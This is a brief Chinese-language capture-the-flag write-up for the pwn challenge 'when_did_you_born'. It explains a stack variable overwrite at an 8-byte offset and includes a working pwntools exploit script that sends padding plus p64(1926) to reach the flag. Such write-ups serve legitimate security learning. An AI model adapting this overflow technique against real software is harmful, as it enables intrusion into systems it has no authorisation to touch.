首发于鄙人博客:传送门
0x00 前言
省略file checksec,这个题的意思就是让我们输入的第二个值覆盖并改变我们输入的第一个值。
0x10 步骤
0x11 main函数
在main函数中我们可以发现题目要求我们输入Birth,若我们输入的值为1926,那么程序便会直接退出,若我们输入的不是1926,那么就会进入else中,而在else中,如果我们想cat flag,那么就必须使birth的值为1926。
0x11 栈
在栈中我们可以发现v4与v5的内存相差8,所以我们可以先输入8个无用数据,然后再将1926打包输入,便可以getshell。
0x20 exp
from pwn import *
sh = process("./when_didi_you_born")
sh.recvuntil("Birth?")
sh.sendline("aaax")
payload = "a"*8+p64(1926)
sh.recvuntil("Name?")
sh.sendline(payload)
sh.interactive()